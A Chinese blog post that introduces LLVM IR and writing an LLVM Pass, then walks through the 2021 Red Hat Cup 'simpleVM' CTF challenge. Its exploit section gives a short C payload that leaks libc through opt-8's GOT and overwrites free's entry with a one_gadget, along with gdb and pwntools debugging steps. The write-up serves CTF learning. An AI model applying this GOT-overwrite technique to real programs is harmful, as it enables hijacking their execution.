LLVM PASS pwn

news/2024/5/4 1:35:51/文章来源:https://blog.csdn.net/qq_45323960/article/details/129691707

LLVM

LLVM的核心是一个库,其设计了一种通用的LLVM IR,并提供一系列接口来操作LLVM IR,生成目标平台代码等等后端的功能.

LLVM Pass就是遍历传入的IR并进行一些处理,在实现上,LLVM的核心库中存在一些Pass类,通过继承这些类并重载一些方法,就可以方便的处理传入的IR.

LLVM Pass的用处:在Pass遍历LLVM IR的同时,就可以非常方便的完成插桩,静态分析,机器无关的代码优化等等操作.

下面列出了几个重要的命令行工具.

  • llvm-as:将LLVM IR从文本格式转化成二进制格式,此处得到的并不是目标平台的机器码.
  • llvm-dis:llvm-as的逆过程.
  • opt:优化LLVM IR并输出.
  • llc:将二进制格式的LLVM IR编译成汇编码,需要用as进一步得到机器码.
  • lli:解释执行LLVM IR.

Clang是一个基于LLVM的编译器驱动,它将C/C++等语言翻译成LLVM IR的前端.并使用LLVM的库实现了LLVM IR到目标代码的后端.

LLVM IR

LLVM IR有三种表示形式:

  • 内存格式,只保存在内存中.
  • .bc:不可读的IR,被称作bitcode.
  • .ll:可读的IR,介于高级语言和汇编代码之间.

对于LLVM IR来说,.ll文件就相当于汇编,.bc文件就相当于机器码.

  • .c -> .ll:clang -emit-llvm -S a.c -o a.ll.
  • .c -> .bc:clang -emit-llvm -c a.c -o a.bc.
  • .ll -> .bc:llvm-as a.ll -o a.bc.
  • .bc -> .ll:llvm-dis a.bc -o a.ll.
  • .bc -> .s:llc a.bc -o a.s.

LLVM Pass

附件下载链接

首先安装相关工具,需要 ubuntu 22.04 的源。

sudo apt install llvm-15 clang-15

编写一个 LLVM Pass : Hello.cpp

#include "llvm/IR/Function.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Pass.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
#include <map>
#include <string>struct Hello : public llvm::FunctionPass {static char ID;Hello() : FunctionPass(ID) {}bool runOnFunction(llvm::Function &F) override {llvm::errs() << "Hello: ";llvm::errs().write_escaped(F.getName()) << '\n';std::map<std::string, int> opCodeMap;int BBsize = 0;int opsize = 0;for (auto &block: F) {// 遍历每个基本块BBsize++;for (auto &opit: block) {// 遍历每条指令opsize++;opCodeMap[opit.getOpcodeName()]++;}}llvm::errs().write_escaped(F.getName()) << " has " << BBsize << "  BasicBlocks and " << opsize << " opcode";for (auto &[opt, cnt]: opCodeMap)llvm::errs() << " function totally use " << opt << " " << cnt << " times \n";return false;}
};char Hello::ID = 0;// Register for opt
// 第一个参数是命令行参数,第二个参数是名字
static llvm::RegisterPass<Hello> X("hello", "Hello World Pass");// Register for clang
static llvm::RegisterStandardPasses Y(llvm::PassManagerBuilder::EP_EarlyAsPossible, [](const llvm::PassManagerBuilder &Builder, llvm::legacy::PassManagerBase &PM) { PM.add(new Hello()); });

将这个LLVM Pass编译为动态库.

clang-15 `llvm-config-15 --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config-15 --ldflags`

使用这个LLVM Pass.

clang-15 -c -emit-llvm main.c -o main.bc
opt-15 -load ./LLVMHello.so -hello main.bc -enable-new-pm=0 -fclang-15 -emit-llvm -S main.c -o main.ll
opt-15 -load ./LLVMHello.so -hello main.ll -enable-new-pm=0 -f

LLVM Pass pwn

以 2021红帽杯 simpleVM 为例介绍这类题目的解题过程。

首先分析 VMPass.so ,通常 runOnFunction 函数在下图函数表的最下方。
在这里插入图片描述
runOnFunction 根据 o0o0o0o0 函数调用函数的名称进行相应操作实现任意地址读写以及加减运算。由于 VMPass.so 是被加载到 opt-8 的进程空间中,而 opt-8 没有开 PIE 保护并且 got 表可写,因此可以读取 opt-8 的 got 表泄露 libc 地址然后计算出 one_gadget 的地址写入 opt-8 的 got 表中对应 free 函数的项。由于 opt-8 在运行过程中会调用 free 函数,因此可以将程序执行流程劫持到 one_gadget 。因此有如下 exp :

void store(int reg) {};void load(int reg) {};void add(int reg, int val) {};void o0o0o0o0() {add(1, 0x77E100);load(1);add(2, 0x72a9c);store(1);
}

接下来进行调试分析。
注意,opt 依赖大量的动态库,为了避免更换 libc 后出现不必要的麻烦,最好准备一个与 opt 运行版本大致相同的虚拟机,这里选择 ubuntu 18.04 。另外如果是用 patchelf 更换 libc 需要用运行程序的系统中的 patchelf 。

由于 opt-8 运行时需要 llvm-8 的相关动态链接库,因此需要先安装 llvm-8

sudo apt install llvm-8 clang-8

生成 exp.bc

clang-8 -emit-llvm -S exp.c -o exp.bc 

根据 start 函数确定该 PASS 名为 VMPass

int start()
{int v1; // [rsp+18h] [rbp-68h]int v2; // [rsp+28h] [rbp-58h]if ( "VMPass" )v2 = strlen("VMPass");elsev2 = 0;if ( "VMPass" )v1 = strlen("VMPass");elsev1 = 0;sub_6510((llvm::PassRegistry *)&unk_20E990, (int)"VMPass", v2, (int)"VMPass", v1, 0, 0);return __cxa_atexit(func, &unk_20E990, &off_20E548);
}

使用这个 VMPass 处理生成的 exp.bc

./opt-8 -load ./VMPass.so -VMPass ./exp.bc

在这里插入图片描述
gdb 调试时需要通过 --args 设置程序参数。

gdb --args ./opt-8 -load ./VMPass.so -VMPass ./exp.bc

start 命令启动程序后此时 VMPass.so 还没有加载到 opt-8 的进程空间中,因此先让程序运行到 VMPass.so 加载后的状态然后在 PASS 的相应的位置上下断点。

这里选择在 llvm::Pass::preparePassManager 处下断点,因为在运行到这个函数时 VMPass.so 已经加载到内存中且 runOnFunction 还未被调用。
不过直接 b llvm::Pass::preparePassManager gdb 很有可能会找不到该函数,因此需要在 opt-8 的 plt 的中搜索该函数并下断点。
在这里插入图片描述
另一个比较方便的方法是利用 pwntools 来启动 gdb 调试。运行如下脚本后直接就可以断在 llvm::Pass::preparePassManager 函数处。

from pwn import *
import sys
import osos.system("clang-8 -emit-llvm -S exp.c -o exp.bc")p = gdb.debug(["./opt-8",'-load','./VMPass.so','-VMPass','./exp.bc'],"b llvm::Pass::preparePassManager\nc")
p.interactive()

之后就可以在 PASS 中下断点调试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_274791.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于OpenResty+doujiang24/lua-resty-kafka写入kafka故障转移模拟测试

关于OpenRestydoujiang24/lua-resty-kafka写入kafka故障转移模拟测试 PS&#xff1a;文章中用到的ip和代码已脱敏 1. 环境 请查看这篇文章https://editor.csdn.net/md/?articleId122735525 2. 配置 kafka地址&#xff1a; kafka_broker_list{{host"193.168.1.2"…

电子拣货标签10代系统简介

CK_Label_v10一、产品参数 1. 外接供电版 产品型号 CK_Label_v10 尺寸 0.8寸/位 屏幕显示 数码管显示&#xff08;3位数&#xff09; 数码管颜色 红色 显示内容 0-999 外观尺寸 114.5x44.5x19mm 外观颜色 蓝色 按键 4 指示灯 1 RGB 灯 灯光颜色 7种(红/绿…

GPU推理服务性能优化之路 | 得物技术

1背景 随着CV算法在业务场景中使用越来越多&#xff0c;给我们带来了新的挑战&#xff0c;需要提升Python推理服务的性能以降低生产环境成本。为此我们深入去研究Python GPU推理服务的工作原理&#xff0c;推理模型优化的方法。最终通过两项关键的技术: 1.Python的GPU与CPU进程…

最佳实践| 探索 Authing 企业级云原生权限治理平台

在现代企业中&#xff0c;数据已经成为最重要的资产之一。 有数据显示&#xff0c;全球大约有一半的组织在过去的一年中经历了至少一次成功的网络攻击事件&#xff0c;其中&#xff0c;39% 的攻击事件是由内部人员造成的。为了保护企业的数据和信息资产&#xff0c;许多政府和…

Linux应用开发之文件与IO流

与大多数操作系统一样&#xff0c;Linux为程序运行提供了大量的服务&#xff0c;包括打开文件、读文件、启动一个新程序、分配存储区以及获得当前时间等&#xff0c;这些服务被称为系统调用接口&#xff08;system call interface&#xff09;。另外&#xff0c;glibc库还提供了…

移除链表元素

给你一个链表的头节点 head 和一个整数 val &#xff0c;请你删除链表中所有满足 Node.val val 的节点&#xff0c;并返回 新的头节点 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,6,3,4,5,6], val 6 输出&#xff1a;[1,2,3,4,5] 示例 2&#xff1a; 输入&#xff…

使用IDEA把项目上传到gitee仓库

使用IDEA把项目上传到gitee仓库在gitee上建立一个仓库第一步&#xff08;新建仓库&#xff09;第二步&#xff08;点击创建&#xff09;第三步&#xff08;复制仓库地址&#xff09;创建工程第一步&#xff08;选择工程所在文件夹&#xff09;第二步&#xff08;文件加入git&am…

qq怎么安装不了(QQ怎么都安装不上重装也不行,是哪里出了问题?)

qq怎么安装不了(QQ怎么都安装不上重装也不行&#xff0c;是哪里出了问题&#xff1f;) 一、发现问题 今天有朋友说他电脑怎么都装不上QQ&#xff0c;总是弹出“安装包可能被非法改动导致安装失败&#xff0c;请从官网下载最新安装包重新安装”&#xff0c;操作系统是XP&#…

[数据结构高频面试题]用两个栈实现队列详解

文章目录 一、栈实现队列的特点分析 1、1 具体分析 1、2 整体概括 二、用栈模拟队列代码的实现 2、1 手撕 栈 代码 2、1、1 stack.h 2、1、2 stack.c 2、2 用栈实现队列代码 &#x1f64b;‍♂️ 作者&#xff1a;Ggggggtm &#x1f64b;‍♂️ &#x1f440; 专栏&#xff1a;…

Flink- 物理分区、Sink输出

物理分区 随机分区&#xff08;shuffle&#xff09; 轮询分区&#xff08;Round-Robin&#xff09; 重缩放分区&#xff08;rescale&#xff09; 广播&#xff08;broadcast&#xff09; 全局分区&#xff08;global&#xff09; 自定义分区&#xff08;Custom&#xff09; …

Studio One6中文语言版DAW数字音频音乐创作软件

Studio One6是一款非常实用的数字音乐创作软件&#xff0c;专门用于创作现代化音乐&#xff0c;软件具有简洁的界面和强大的功能&#xff0c;能够很好地辅助用户创作音乐。顾名思义就是“一个工作室”的意思&#xff0c;它所倡导的制作理念是直接在一个制作软件里完成音乐制作的…

Android 解包payload.bin文件,获取system.img

解析payload.bin获取.img文件 payload.bin payload.bin是Android OTA镜像打包文件&#xff0c;将包括system.img、boot.img和lk.img等在内的Android系统进行&#xff0c;打包为一个payload.bin文件。 在系统OTA过程中&#xff0c;系统会自动解压安装。 前期准备 需要安装py…

学习Java日志框架之——搞懂日志门面(JCL+SLF4J)

文章目录一、什么是日志门面1、门面模式&#xff08;外观模式&#xff09;2、日志门面二、了解JCL1、JCL组件结构2、JCL案例&#xff08;1&#xff09;JCL默认实现&#xff08;2&#xff09;导入log4j测试原有程序三、SLF4J简介四、SLF4J基本使用1、入门案例2、动态打印信息3、…

一次内存泄露排查

前因&#xff1a; 因为测试 长时间压测导致 接口反应越来越慢&#xff0c;甚至 导致服务器 崩溃 排查过程 1、top 查看是 哪个进程 占用 内存过高 2、根据 进程 id 去查找 具体是哪个 程序的问题 ps -ef| grep 41356 可以看到 具体的 容器位置 排查该进程 对象存活 状态…

23年PMP考试会使用第七版教材吗?

大家都知道了&#xff0c;今年的考纲是改版了的&#xff0c;为啥要改版呢&#xff0c;因为《PMBOK指南》更新到第七版了&#xff0c;考纲自然也要更新&#xff0c;据PMI的市场调查&#xff0c;近年来&#xff0c;项目管理行业新趋势在第六版和旧考纲中未收纳&#xff0c;为了确…

三、数据链路层

&#xff08;一&#xff09;纠错与检错1、奇偶校验码&#xff08;再研究下&#xff0c;原理知道&#xff0c;具体过程无法重现&#xff09;分为奇校验和偶校验&#xff0c;奇偶校验位在首部或尾部&#xff0c;奇偶校验满信息位奇偶校验位&#xff08;1&#xff09;原理&#xf…

Redis 数据结构

这里写目录标题Redis 数据结构一、String类型String数据类型的使用场景key 的设置约定二、Hash数据类型string存储对象&#xff08;json&#xff09;与hash存储对象的区别三、list 类型四、set 类型set数据交并差操作set 类型数据操作的注意事项六、sorted_set 类型Redis 数据结…

算法----火柴拼正方形

题目 你将得到一个整数数组 matchsticks &#xff0c;其中 matchsticks[i] 是第 i 个火柴棒的长度。你要用 所有的火柴棍 拼成一个正方形。你 不能折断 任何一根火柴棒&#xff0c;但你可以把它们连在一起&#xff0c;而且每根火柴棒必须 使用一次 。 如果你能使这个正方形&a…

Junit单元测试框架

1)Junit是一个开源的JAVA语言的单元测试框架&#xff0c;也是JAVA方向使用最广泛的单元测试框架&#xff0c;使用JAVA开发者都应该学习junit框架&#xff0c;并且掌握单元测试的编写 2)selenium和Junit都可以被导入到maven项目里面 3)先进行创建maven项目&#xff0c;导入相关依…

linux 全局环境变量删除后 还有 仍然存在

linux 全局环境变量删除后 还有 仍然存在1、编辑 /etc/profile2、设置REDISCLI_AUTH后&#xff0c;redis-cli 进去redis后不需要再次认证2、删除全局环境后 source后 仍然存在3、unset释放全局环境变量4、总结1、编辑 /etc/profile 设置redis环境变量 在末尾加入一行 export R…